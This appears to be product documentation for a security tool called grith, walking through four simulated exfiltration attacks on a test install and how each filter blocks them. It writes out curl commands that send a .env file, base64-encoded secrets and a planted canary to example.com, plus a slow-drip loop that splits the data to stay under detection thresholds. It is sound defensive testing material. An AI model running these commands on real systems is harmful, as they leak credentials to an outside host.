grith.aidocs

Exfiltration walkthrough

End-to-end attack and defence: simulating an exfil attempt against a grith install.

This guide walks through a deliberate, controlled exfiltration attempt against a grith install and shows what each filter does to stop it. Useful for understanding the pipeline by example, and for verifying your install is configured correctly.

Setup

Pick a test directory:

mkdir -p /tmp/grith-exfil-test && cd /tmp/grith-exfil-test

Plant a canary:

grith canary add --format aws_secret \
    --place ./fake-prod-creds \
    --label "exfil-walkthrough"

Plant an env file with shaped credentials (the secret scanner will recognise these patterns; they're not real keys):

cat > .env <<'EOF'
AWS_ACCESS_KEY_ID=AKIA0EXAMPLE0NOT0REAL
AWS_SECRET_ACCESS_KEY=ExampleNotARealSecretKey123456789012345
GITHUB_TOKEN=ghp_EXAMPLE_NOT_A_REAL_TOKEN_123456789
EOF

Now start a supervised shell:

grith exec --profile generic-cli -- bash

Attack 1 — naive curl

The simplest exfil. From inside the supervised shell:

curl -X POST https://example.com/sink -d "@.env"

What grith sees:

  1. file_read .env — sensitive_path filter fires, queue (~+4.5)
  2. connect example.com:443 — egress_policy fires, unknown destination (+1)
  3. sendto example.com:443 carrying .env content — secret_scan matches AWS credentials shape (+5), DLP gate matches (+4), taint matches (read happened 3 seconds ago, +3) — composite ~13 → DENY

The curl returns connect failure. Audit log records the deny with full filter breakdown.

Attack 2 — encoded exfil

Try to hide it:

base64 .env | xargs -I {} curl -X POST "https://example.com/sink?d={}"

What grith sees:

  1. file_read .env — same as before (+4.5)
  2. shell base64 — command parser sees base64 + URL chain, +3
  3. connect example.com:443 — +1
  4. sendto with URL parameter — DLP gate decodes base64, matches AWS shape (+4), taint (+3) — composite still high → DENY

The base64 encoding doesn't help; the DLP gate decodes one layer.

Attack 3 — canary smuggling

Try to leak the canary:

cat fake-prod-creds | curl -X POST https://example.com/sink -d @-

What grith sees:

  1. file_read fake-prod-creds — queue
  2. (Approved? Doesn't matter for the canary.)
  3. sendto example.com:443 carrying the canary value — canary filter triggers DENY, hard gate, no score path → immediate DENY, high-severity audit, paging notifications fire

Attack 4 — slow drip

Spread the read and send across many calls:

for i in 1 2 3 4 5; do
  head -c $((i*8)) .env | tail -c 8 | curl -X POST https://example.com/sink -d @-
done

What grith sees:

  1. Multiple file_read .env — auto-allowed individually if approved, sensitive_path reduced after the first approval.
  2. Multiple sendto — each carries 8 bytes, may not match credential patterns individually...
  3. ...but rate_limit caps shell-spawning + network at the defaults; this pattern of fork+curl trips the rate limiter and queues.
  4. Behavioural anomaly notices the unusual loop pattern + sustained outbound, adds to score.

This pattern usually queues several times during the burst, giving the human a chance to deny + terminate. Doesn't catch the first leak attempt cleanly — that's the trade-off with rate-based detection.

What this demonstrates

  • The canary is the strongest single defence. If you suspect exfil risk, plant canaries — they catch attacks the score-based filters might fuzz on.
  • Multiple filters compose. Each filter is best at one thing; together they cover a wide attack surface.
  • Slow attacks are harder. Sub-rate-limit, sub-cap exfil is the genuine cat-and-mouse case. Behavioural baselines and Pro analytics help.

Cleanup

grith canary remove $(grith canary list | grep exfil-walkthrough | awk '{print $1}')
rm -rf /tmp/grith-exfil-test

See also

Last updated: 2026-05-14Edit this page on GitHub →
© 2026 grith. All rights reserved.